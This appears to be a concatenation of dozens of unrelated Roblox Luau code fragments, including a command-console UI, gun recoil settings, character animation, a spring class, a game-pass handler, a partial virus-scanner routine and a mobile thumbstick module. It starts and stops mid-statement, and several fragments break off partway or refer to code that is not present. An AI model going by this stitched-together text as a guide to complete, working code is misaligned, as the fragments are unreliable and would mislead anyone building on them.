0) Suggest.Text = " el" Suggest.TextColor3 = Color3.fromRGB(255, 255, 255) Suggest.TextSize = 14 Suggest.TextXAlignment = Enum.TextXAlignment.Left Suggest.Parent = TextButton local Type = Instance.new("TextLabel") Type.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Type.BackgroundTransparency = 1 Type.BorderColor3 = Color3.fromRGB(255, 153, 153) Type.Font = Enum.Font.SourceSans Type.Name = "Type" Type.Position = UDim2.new(1, 0, 0, 0) Type.Size = UDim2.new(0, 0, 1, 0) Type.Text = ": Players" Type.TextColor3 = Color3.fromRGB(255, 255, 255) Type.TextSize = 15 Type.TextXAlignment = Enum.TextXAlignment.Left Type.Parent = Field Cmdr.Parent = game:GetService("StarterGui") return Cmdr end
--Checks if the object exceeds the boundries given by the plot----------
local function CheckBoundaries(Plot, Primary) local Position = Plot.CFrame local Size = CFrame.fromOrientation(0, Primary.Orientation.Y*math.pi/180, 0)*Primary.Size local CurrentPos = Position:Inverse()*Primary.CFrame local xBound = (Plot.Size.X - Size.X) local zBound = (Plot.Size.Z - Size.Z) return CurrentPos.X > xBound or CurrentPos.X < -xBound or CurrentPos.Z > zBound or CurrentPos.Z < -zBound end local function HandleCollisions(Character, Item, Collisions, Plot) if not Collisions then Item.PrimaryPart.Transparency = 1; return true end local Collision = CheckHitbox(Character, Item, Plot) if Collision then Item:Destroy(); return false end Item.PrimaryPart.Transparency = 1 return true end
-- Libraries
local Core = require(script.Parent.Core); local Support = Core.Support;
--[[ Create a promise that represents the immediately resolved value. ]]
function Promise.resolve(...) local length, values = pack(...) return Promise._new(debug.traceback(nil, 2), function(resolve) resolve(unpack(values, 1, length)) end) end Promise.Resolve = Promise.resolve
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {7,14} --- Vertical Recoil ,HRecoil = {4.5,12} --- Horizontal Recoil ,AimRecover = .65 ---- Between 0 & 1 ,RecoilPunch = .15 ,VPunchBase = 2.55 --- Vertical Punch ,HPunchBase = 1.6 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.2 ,MinRecoilPower = .5 ,MaxRecoilPower = 3 ,RecoilPowerStepAmount = .25 ,MinSpread = 0.95 --- Min bullet spread value | Studs ,MaxSpread = 47 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = .75 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
--- Gamepass purchase prompted!
_L.MarketplaceService.PromptGamePassPurchaseFinished:Connect(function(player, gamepassId, purchased) if player then --- Did player complete transaction? if purchased == true then --- Player bought gamepass! WHAT A MASSIVE LEGEND AddGamepass(player, gamepassId) --- Let client know purchase went through _L.Network.Fire("Gamepass Bought", player, gamepassId) end end end)
--- The dispatcher handles creating and running commands during the game.
local Dispatcher = { Cmdr = nil; Registry = nil; }
------------------ ------------------
function waitForChild(parent, childName) while true do local child = parent:findFirstChild(childName) if child then return child end parent.ChildAdded:wait() end end local Figure = script.Parent local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Zombie") local pose = "Standing" local toolAnim = "None" local toolAnimTime = 0 local isSeated = false function onRunning(speed) if isSeated then return end if speed>0 then pose = "Running" else pose = "Standing" end end function onJumping() isSeated = false pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onDancing() pose = "Dancing" end function onFallingDown() pose = "FallingDown" end function onSeated() isSeated = true pose = "Seated" end function moveJump() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFreeFall() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1 LeftShoulder.DesiredAngle = -1 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveFloat() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.57 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = -1.57 end function moveBoogy() while pose=="Boogy" do wait(.5) RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(.5) RightShoulder.MaxVelocity = 1 LeftShoulder.MaxVelocity = 1 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = -3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 1.57 end end function moveZombie() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.57 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function movePunch() script.Parent.Torso.Anchored=true RightShoulder.MaxVelocity = 60 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 wait(1) script.Parent.Torso.Anchored=false pose="Standing" end function moveKick() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 40 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(1) pose="Standing" end function moveFly() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 LeftShoulder.DesiredAngle = 0 RightHip.MaxVelocity = 40 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 0 wait(1) pose="Standing" end function moveClimb() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -3.14 LeftShoulder.DesiredAngle = 3.14 RightHip.DesiredAngle = 0 LeftHip.DesiredAngle = 0 end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = -3.14 /2 LeftShoulder.DesiredAngle = -3.14 /2 RightHip.DesiredAngle = 3.14 /2 LeftHip.DesiredAngle = -3.14 /2 end function getTool() kidTable = Figure:children() if (kidTable ~= nil) then numKids = #kidTable for i=1,numKids do if (kidTable[i].className == "Tool") then return kidTable[i] end end end return nil end function getToolAnim(tool) c = tool:children() for i=1,#c do if (c[i].Name == "toolanim" and c[i].className == "StringValue") then return c[i] end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder.DesiredAngle = -1.57 return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder.DesiredAngle = -1.57 LeftShoulder.DesiredAngle = 1.0 RightHip.DesiredAngle = 1.57 LeftHip.DesiredAngle = 1.0 return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "Zombie") then moveZombie() return end if (pose == "Boogy") then moveBoogy() return end if (pose == "Float") then moveFloat() return end if (pose == "Punch") then movePunch() return end if (pose == "Kick") then moveKick() return end if (pose == "Fly") then moveFly() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Climbing") then moveClimb() return end if (pose == "Seated") then moveSit() return end amplitude = 0.1 frequency = 1 RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 if (pose == "Running") then amplitude = 1 frequency = 9 elseif (pose == "Dancing") then amplitude = 2 frequency = 16 end desiredAngle = amplitude * math.sin(time*frequency) if pose~="Dancing" then RightShoulder.DesiredAngle = -desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle else RightShoulder.DesiredAngle = desiredAngle LeftShoulder.DesiredAngle = desiredAngle RightHip.DesiredAngle = -desiredAngle LeftHip.DesiredAngle = -desiredAngle end local tool = getTool() if tool ~= nil then animStringValueObject = getToolAnim(tool) if animStringValueObject ~= nil then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end
--- Skip forwards in now -- @param delta now to skip forwards
function Spring:TimeSkip(delta) local now = self._clock() local position, velocity = self:_positionVelocity(now+delta) self._position0 = position self._velocity0 = velocity self._time0 = now end function Spring:__index(index) if Spring[index] then return Spring[index] elseif index == "Value" or index == "Position" or index == "p" then local position, _ = self:_positionVelocity(self._clock()) return position elseif index == "Velocity" or index == "v" then local _, velocity = self:_positionVelocity(self._clock()) return velocity elseif index == "Target" or index == "t" then return self._target elseif index == "Damper" or index == "d" then return self._damper elseif index == "Speed" or index == "s" then return self._speed elseif index == "Clock" then return self._clock else error(("%q is not a valid member of Spring"):format(tostring(index)), 2) end end function Spring:__newindex(index, value) local now = self._clock() if index == "Value" or index == "Position" or index == "p" then local _, velocity = self:_positionVelocity(now) self._position0 = value self._velocity0 = velocity self._time0 = now elseif index == "Velocity" or index == "v" then local position, _ = self:_positionVelocity(now) self._position0 = position self._velocity0 = value self._time0 = now elseif index == "Target" or index == "t" then local position, velocity = self:_positionVelocity(now) self._position0 = position self._velocity0 = velocity self._target = value self._time0 = now elseif index == "Damper" or index == "d" then local position, velocity = self:_positionVelocity(now) self._position0 = position self._velocity0 = velocity self._damper = math.clamp(value, 0, 1) self._time0 = now elseif index == "Speed" or index == "s" then local position, velocity = self:_positionVelocity(now) self._position0 = position self._velocity0 = velocity self._speed = value < 0 and 0 or value self._time0 = now elseif index == "Clock" then local position, velocity = self:_positionVelocity(now) self._position0 = position self._velocity0 = velocity self._clock = value self._time0 = value() else error(("%q is not a valid member of Spring"):format(tostring(index)), 2) end end function Spring:_positionVelocity(now) local p0 = self._position0 local v0 = self._velocity0 local p1 = self._target local d = self._damper local s = self._speed local t = s*(now - self._time0) local d2 = d*d local h, si, co if d2 < 1 then h = math.sqrt(1 - d2) local ep = math.exp(-d*t)/h co, si = ep*math.cos(h*t), ep*math.sin(h*t) elseif d2 == 1 then h = 1 local ep = math.exp(-d*t)/h co, si = ep, ep*t else h = math.sqrt(d2 - 1) local u = math.exp((-d + h)*t)/(2*h) local v = math.exp((-d - h)*t)/(2*h) co, si = u + v, u - v end local a0 = h*co + d*si local a1 = 1 - (h*co + d*si) local a2 = si/s local b0 = -s*si local b1 = s*si local b2 = h*co - d*si return a0*p0 + a1*p1 + a2*v0, b0*p0 + b1*p1 + b2*v0 end return Spring
--[[ Returns the model associated with the system ]]
function BaseSystem:getModel() return self._model end
--the Inportain Calculating what has to be Updated and Value Update
minigun.total = minigun.left + minigun.right vParts.Values.Minigun.Value = minigun.total vParts.Values.Hydra.Value = hydra.right + hydra.left vParts.Values.On.Value = on
--Type "ScanForViruses(model,0,true)" to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type "ScanForViruses(model,0,false)" to reveal all scripts.
function getAncestry(i) local s = "" local p = i.Parent s = p.Name while p ~= game do p = p.Parent s = p.Name.."."..s end return s end function Check(i,n,w) local s = "" for a = 1, n do s = s.."- - " end if i == nil then return end if printAll then print(s.."Checking "..i.Name) end if i == script then return end --don't need to check self, will still check children of self if i.className == "Script" then for x = 1, #maliciousscripts do if i.Name == maliciousscripts[x] then
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.Daisy -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
-- On Startup -- Run on start to update variables to current values
updateUpgrades() if IS_MOBILE then ClickButton.Visible = false end
-- ROBLOX deviation END
local EMPTY = Set.new() :: Set<string> export type DeepCyclicCopyOptions = { blacklist: Set<string>?, keepPrototype: boolean? } function deepCyclicCopy<T>(value: T, options_: DeepCyclicCopyOptions?, cycles_: WeakMap<any, any>?): T local options = options_ or { blacklist = EMPTY, keepPrototype = false } local cycles = cycles_ or WeakMap.new() if typeof(value) ~= "table" then return value elseif cycles:has(value) then return cycles:get(value) elseif Array.isArray(value) then return deepCyclicCopyArray(value, options, cycles) :: any else return deepCyclicCopyObject(value, options, cycles) end end exports.default = deepCyclicCopy function deepCyclicCopyObject<T>(object: T, options: DeepCyclicCopyOptions, cycles: WeakMap<any, any>): T -- ROBLOX deviation START: prototypes are not supported local newObject = {} if options.keepPrototype then warn("Prototype copying is not supported") end -- ROBLOX deviation END -- ROBLOX deviation START: no property descriptors in Lua local descriptors = Array.reduce(Object.keys(object :: any), function(acc, key) acc[key] = { value = (object :: any)[key], } return acc end, {}) -- ROBLOX deviation END cycles:set(object, newObject) Array.forEach(Object.keys(descriptors), function(key) if options.blacklist ~= nil and options.blacklist:has(key) then descriptors[key] = nil return end local descriptor = descriptors[key] if typeof(descriptor.value) ~= "nil" then descriptor.value = deepCyclicCopy( descriptor.value, { blacklist = EMPTY, keepPrototype = options.keepPrototype }, cycles ) end descriptor.configurable = true end) -- ROBLOX deviation START: no property descriptors in Lua return Object.assign( newObject, Array.reduce(Object.keys(descriptors), function(acc, key) acc[key] = descriptors[key].value return acc end, {}) ) -- ROBLOX deviation END end function deepCyclicCopyArray<T>(array: Array<T>, options: DeepCyclicCopyOptions, cycles: WeakMap<any, any>): T -- ROBLOX deviation START: prototypes are not supported local newArray = {} if options.keepPrototype then warn("Prototype copying is not supported") end -- ROBLOX deviation END local length = #array cycles:set(array, newArray) for i = 1, length do newArray[i] = deepCyclicCopy(array[i], { blacklist = EMPTY, keepPrototype = options.keepPrototype }, cycles) end -- ROBLOX FIXME Luau: need to cast to `any` as Lua can't infer types properly return newArray :: any end return exports
--I finally tried flicking it but it keeps on coming back......
if string.sub(msg,1,8) == "control/" then local player = findplayer(string.sub(msg,9),speaker) if player ~= 0 then if #player > 1 then return end for i = 1,#player do if player[i].Character ~= nil then speaker.Character = player[i].Character end end end end
-- FUNCTIONS --
return function(dropFX, rarity, speed, distance, endCF) local HL = script.Highlight:Clone() HL.Parent = dropFX.Parent local Info = TweenInfo.new(2.5, Enum.EasingStyle.Linear, Enum.EasingDirection.In, -1) local Info1 = TweenInfo.new(1.75, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, -1, true) --local p0 = dropFX.Position --local p2 = endCF.Position --local p1 = CFrame.new((p0 + p2) / 2) * CFrame.new(0, Random.new():NextNumber(15 * 0.3, 15), 0).Position --local Tween = bezierTween.Create(dropFX, { -- Waypoints = Waypoints.new(p0, p1, p2), -- EasingStyle = Enum.EasingStyle.Linear, -- EasingDirection = Enum.EasingDirection.In, -- Time = distance/speed --}) --Tween:Play() --Tween.Completed:Connect(function() --task.delay(speed/distance, function() if dropFX then --TS:Create(dropFX, Info, {Orientation = dropFX.Orientation + Vector3.new(0, 360, 0)}):Play() -- TS:Create(dropFX, Info1, {CFrame = dropFX.CFrame * CFrame.new(0, -1.5, 0) * CFrame.Angles(0, 360 * 3, 0)}):Play() -- Position = dropFX.Position + Vector3.new(0, -1.5, 0) end --end) end
--[[ Responsible for managing positions for art spots on a single surface. This component does not assume the size of the parent and renders everything relative to it (the parent). i.e. This is not a SurfaceGui component for testability purposes. We will adorn this to a SurfaceGui one level higher. ]]
local SurfaceCanvas = Roact.Component:extend("SurfaceCanvas") SurfaceCanvas.defaultProps = { numRows = 2, numCols = 5, paddingLeft = UDim.new(0, 8), paddingRight = UDim.new(0, 8), paddingTop = UDim.new(0, 8), paddingBottom = UDim.new(0, 8), } function SurfaceCanvas:render() local artItems = self.props[Roact.Children] for i, artItem in ipairs(artItems) do artItems[i] = Roact.createElement("Frame", { LayoutOrder = i, BackgroundTransparency = 1, Size = UDim2.fromScale(1, 1), }, artItem) end return Roact.createElement( "Frame", { BackgroundTransparency = 1, Size = UDim2.fromScale(1, 1), [Roact.Ref] = self.frame, }, Cryo.List.join({ Roact.createElement("UIGridLayout", { SortOrder = Enum.SortOrder.LayoutOrder, CellPadding = UDim2.fromScale(0, 0), CellSize = UDim2.fromScale(1 / self.props.numCols, 1 / self.props.numRows), }), Roact.createElement("UIPadding", { PaddingLeft = self.props.paddingLeft, PaddingRight = self.props.paddingRight, PaddingTop = self.props.paddingTop, PaddingBottom = self.props.paddingBottom, }), }, artItems) ) end return SurfaceCanvas
--RR
rSprings[2].Thickness = Settings[1] rSprings[2].MaxLength = Settings[2] rSprings[2].MinLength = Settings[3] rSprings[2].Damping = Settings[4] rSprings[2].FreeLength = Settings[5] rSprings[2].LimitsEnabled = Settings[6] rSprings[2].MaxForce = Settings[7] rSprings[2].Stiffness = Settings[8] end
-- padding between items within each entry
local ENTRY_PADDING = 1
------- DONT EDIT | Verifies Tools Existence -----------
if script.Parent.ClassName == "Tool" then Tool = script.Parent elseif script.Parent.Parent.ClassName == "Tool" then Tool = script.Parent.Parent elseif script.Parent.Parent.Parent.ClassName == "Tool" then Tool = script.Parent.Parent.Parent elseif script.Parent.Parent.Parent.Parent.ClassName == "Tool" then Tool = script.Parent.Parent.Parent.Parent else print("COULD NOT FIND TOOL") script:Destroy() end
-- Get player control module
function UserInputController:_getPlayerControls() if not self._playerControls then pcall(function() self._playerControls = require(self.player.PlayerScripts.PlayerModule):GetControls() end) end return self._playerControls end return UserInputController
----- Script: -----
if UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled and not UserInputService.MouseEnabled then IconosFrame.Buttons.ShowButton.Visible = true IconosFrame.Transparency = 0.8 elseif not UserInputService.TouchEnabled and UserInputService.KeyboardEnabled and UserInputService.MouseEnabled then end
--// Load Assets
CP:PreloadAsync(rp:GetDescendants()) warn("All Assets Loaded ✅")
--// Script
for index,Weapon in pairs(Folder:GetChildren()) do local Clone = Template:Clone() Clone.Name = Weapon.Name Clone.Price.Value = Weapon.Price.Value Clone.NAME.Text = Weapon.Name Clone.COST.Text = Weapon.Price.Value Clone.Visible = true Clone.Parent = script.Parent end
--UnregisterDialogue --* called when the client discovers that a dialogue has been --* removed from the game. You should clean any guis you had --* created in order to let the user interact with the dialogue.
function Interface.UnregisterDialogue(dialogue) end
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") BaseUrl = "http://www.roblox.com/asset/?id=" RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create Particles = script:WaitForChild("Particles") BasePart = Create("Part"){ Shape = Enum.PartType.Block, Material = Enum.Material.Plastic, TopSurface = Enum.SurfaceType.Smooth, BottomSurface = Enum.SurfaceType.Smooth, FormFactor = Enum.FormFactor.Custom, Size = Vector3.new(0.2, 0.2, 0.2), CanCollide = true, Locked = true, Anchored = false, } Animations = { Fly = {Animation = Tool:WaitForChild("Fly"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil} } Sounds = {} FogParticles = {} Remotes = Tool:WaitForChild("Remotes") ServerControl = (Remotes:FindFirstChild("ServerControl") or Create("RemoteFunction"){ Name = "ServerControl", Parent = Remotes, }) ClientControl = (Remotes:FindFirstChild("ClientControl") or Create("RemoteFunction"){ Name = "ClientControl", Parent = Remotes, }) ReloadTime = 1 ToolEquipped = false Handle.Transparency = 0 Tool.Enabled = true function Activated() local MouseData = InvokeClient("MouseData") if not MouseData or not MouseData.Position then return end if not Tool.Enabled or not CheckIfAlive() or not ToolEquipped then return end Tool.Enabled = false wait(ReloadTime) Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") RootPart = Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end ToolEquipped = true end function Unequipped() if FogLoop then FogLoop:disconnect() end for i, v in pairs(FogParticles) do if v and v.Parent then v.Enabled = false Debris:AddItem(v, 3) end end FogParticles = {} ToolEquipped = false end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end function OnServerInvoke(player, Mode, Value) if player ~= Player or not ToolEquipped or not CheckIfAlive() or not Mode or not Value then return end if Mode == "Flying" then local Mode = Value.Mode for i, v in pairs(FogParticles) do if v and v.Parent then v.Enabled = false Debris:AddItem(v, 3) end end FogParticles = {} if FogLoop then FogLoop:disconnect() end if Mode then Spawn(function() InvokeClient("PlayAnimation", Animations.Fly) end) for i, v in pairs(Particles:GetChildren()) do if v:IsA("ParticleEmitter") then local Particle = v:Clone() table.insert(FogParticles, Particle) Particle.Enabled = false Particle.Parent = RootPart end end FogLoop = RunService.Stepped:connect(function(Time, Step) local Speed = (RootPart.Velocity * Vector3.new(1, 0, 1)).Magnitude for i, v in pairs(FogParticles) do v.Enabled = (Speed > 15) end end) else Spawn(function() InvokeClient("StopAnimation", Animations.Fly) end) end end end ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
-----------------------------------------------------------------------------------------------
local player=game.Players.LocalPlayer local mouse=player:GetMouse() local car = script.Parent.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local gauges = script.Parent local values = script.Parent.Parent.Values local isOn = script.Parent.Parent.IsOn local intach = car.Body.Dash.Tac.G.Needle local inspd = car.Body.Dash.Spd.G.Needle gauges:WaitForChild("Speedo") gauges:WaitForChild("Tach") gauges:WaitForChild("Boost") gauges:WaitForChild("ln") gauges:WaitForChild("bln") gauges:WaitForChild("Gear") gauges:WaitForChild("Speed") car.DriveSeat.HeadsUpDisplay = false local _pRPM = _Tune.PeakRPM local _lRPM = _Tune.Redline local currentUnits = 1 local revEnd = math.ceil(_lRPM/1000)
--When a player leaves
game.Players.PlayerRemoving:Connect(function(Player) beforeSave(Player) end)
-- ROBLOX FIXME LUAU: Casting to any to prevent unwanted type narrowing
local CustomConsole = setmetatable({}, { __index = Console }) :: any CustomConsole.__index = CustomConsole function CustomConsole.new(stdout: unknown, stderr: unknown, formatBuffer_: Formatter?): CustomConsole local self = setmetatable((Console.new(stdout, stderr) :: any) :: CustomConsolePrivate, CustomConsole) local formatBuffer: Formatter = if formatBuffer_ ~= nil then formatBuffer_ else function(_: LogType, message: LogMessage) return message end self._counters = {} self._timers = {} self._groupDepth = 0 self.Console = Console self._stdout = stdout self._stderr = stderr self._formatBuffer = formatBuffer return (self :: any) :: CustomConsole end function CustomConsole._log(self: CustomConsolePrivate, type: LogType, message: string) clearLine(self._stdout); -- ROBLOX FIXME: Find a better way to handle super calls (Console.log :: any)(self, self._formatBuffer(type, (" "):rep(self._groupDepth) .. message)) end function CustomConsole._logError(self: CustomConsolePrivate, type: LogType, message: string) clearLine(self._stderr); -- ROBLOX FIXME: Find a better way to handle super calls (Console.error :: any)(self, self._formatBuffer(type, (" "):rep(self._groupDepth) .. message)) end function CustomConsole.assert(self: CustomConsolePrivate, value: unknown, message: (string | Error)?) xpcall(function() assert(value) end, function(error_) local msg = "" if message ~= nil then msg = " " .. tostring(message) end self:_logError("assert", tostring(error_) .. msg) end) end function CustomConsole.count(self: CustomConsolePrivate, label_: string?) local label: string = if label_ ~= nil then label_ else "default" if self._counters[label] == nil then self._counters[label] = 0 end self._counters[label] += 1 self:_log("count", format("%s: %s", label, self._counters[label])) end function CustomConsole.countReset(self: CustomConsolePrivate, label_: string?) local label: string = if label_ ~= nil then label_ else "default" self._counters[label] = 0 end function CustomConsole.debug(self: CustomConsolePrivate, firstArg: unknown, ...: any) self:_log("debug", format(firstArg, ...)) end function CustomConsole.dir(self: CustomConsolePrivate, firstArg: unknown, options_: InspectOptions?) local options: InspectOptions = options_ or {} local representation = inspect(firstArg, options) self:_log("dir", formatWithOptions(options, representation)) end function CustomConsole.dirxml(self: CustomConsolePrivate, firstArg: unknown, ...: any) self:_log("dirxml", format(firstArg, ...)) end function CustomConsole.error(self: CustomConsolePrivate, firstArg: unknown, ...: any) self:_logError("error", format(firstArg, ...)) end function CustomConsole.group(self: CustomConsolePrivate, title: string?, ...: any) local args = { ... } self._groupDepth += 1 if Boolean.toJSBoolean(title) or #args > 0 then self:_log("group", chalk.bold(format(title, ...))) end end function CustomConsole.groupCollapsed(self: CustomConsolePrivate, title: string?, ...: any) local args = { ... } self._groupDepth += 1 if Boolean.toJSBoolean(title) or #args > 0 then self:_log("groupCollapsed", chalk.bold(format(title, ...))) end end function CustomConsole.groupEnd(self: CustomConsolePrivate) if self._groupDepth > 0 then self._groupDepth -= 1 end end function CustomConsole.info(self: CustomConsolePrivate, firstArg: unknown, ...: any) self:_log("info", format(firstArg, ...)) end function CustomConsole.log(self: CustomConsolePrivate, firstArg: unknown, ...: any) self:_log("log", format(firstArg, ...)) end function CustomConsole.time(self: CustomConsolePrivate, label_: string?) local label: string = if label_ ~= nil then label_ else "default" if self._timers[label] ~= nil then return end self._timers[label] = DateTime.now() end function CustomConsole.timeEnd(self: CustomConsolePrivate, label_: string?) local label: string = if label_ ~= nil then label_ else "default" local startTime = self._timers[label] if Boolean.toJSBoolean(startTime) then local endTime = DateTime.now() local time = endTime.UnixTimestampMillis - startTime.UnixTimestampMillis self:_log("time", format("%s: %s", label, formatTime(time))) self._timers[label] = nil end end function CustomConsole.timeLog(self: CustomConsolePrivate, label_: string?, ...: any) local label: string = if label_ ~= nil then label_ else "default" local startTime = self._timers[label] if Boolean.toJSBoolean(startTime) then local endTime = DateTime.now() local time = endTime.UnixTimestampMillis - startTime.UnixTimestampMillis self:_log("time", format("%s: %s", label, formatTime(time), ...)) end end function CustomConsole.warn(self: CustomConsolePrivate, firstArg: unknown, ...: any) self:_logError("warn", format(firstArg, ...)) end function CustomConsole:getBuffer() return nil end exports.default = CustomConsole return exports
--Right lean
R6LeftLegRightLean = .3 R6RightLegRightLean = .55 R6LeftArmRightLean = .7 R6RightArmRightLean = .3 R6TorsoRightLean = .3
-- Was called OnMoveTouchEnded in previous version
function DynamicThumbstick:OnInputEnded() self.moveTouchObject = nil self.moveVector = ZERO_VECTOR3 self:FadeThumbstick(false) self.thumbstickFrame.Active = true end function DynamicThumbstick:FadeThumbstick(visible) if not visible and self.moveTouchObject then return end if self.isFirstTouch then return end if self.startImageFadeTween then self.startImageFadeTween:Cancel() end if self.endImageFadeTween then self.endImageFadeTween:Cancel() end for i = 1, #self.middleImages do if self. middleImageFadeTweens[i] then self.middleImageFadeTweens[i]:Cancel() end end if visible then self.startImageFadeTween = TweenService:Create(self.startImage, ThumbstickFadeTweenInfo, { ImageTransparency = 0 }) self.startImageFadeTween:Play() self.endImageFadeTween = TweenService:Create(self.endImage, ThumbstickFadeTweenInfo, { ImageTransparency = 0.2 }) self.endImageFadeTween:Play() for i = 1, #self.middleImages do self.middleImageFadeTweens[i] = TweenService:Create(self.middleImages[i], ThumbstickFadeTweenInfo, { ImageTransparency = MIDDLE_TRANSPARENCIES[i] }) self.middleImageFadeTweens[i]:Play() end else self.startImageFadeTween = TweenService:Create(self.startImage, ThumbstickFadeTweenInfo, { ImageTransparency = 1 }) self.startImageFadeTween:Play() self.endImageFadeTween = TweenService:Create(self.endImage, ThumbstickFadeTweenInfo, { ImageTransparency = 1 }) self.endImageFadeTween:Play() for i = 1, #self.middleImages do self.middleImageFadeTweens[i] = TweenService:Create(self.middleImages[i], ThumbstickFadeTweenInfo, { ImageTransparency = 1 }) self.middleImageFadeTweens[i]:Play() end end end function DynamicThumbstick:FadeThumbstickFrame(fadeDuration, fadeRatio) self.fadeInAndOutHalfDuration = fadeDuration * 0.5 self.fadeInAndOutBalance = fadeRatio self.tweenInAlphaStart = tick() end function DynamicThumbstick:Create(parentFrame) if self.thumbstickFrame then self.thumbstickFrame:Destroy() self.thumbstickFrame = nil if self.onTouchMovedConn then self.onTouchMovedConn:Disconnect() self.onTouchMovedConn = nil end if self.onTouchEndedConn then self.onTouchEndedCon:Disconnect() self.onTouchEndedCon = nil end if self.onRenderSteppedConn then self.onRenderSteppedConn:Disconnect() self.onRenderSteppedConn = nil end if self.onTouchActivateConn then self.onTouchActivateConn:Disconnect() self.onTouchActivateConn = nil end end local ThumbstickSize = 45 local ThumbstickRingSize = 20 local MiddleSize = 10 local MiddleSpacing = MiddleSize + 4 local RadiusOfDeadZone = 2 local RadiusOfMaxSpeed = 20 local screenSize = parentFrame.AbsoluteSize local 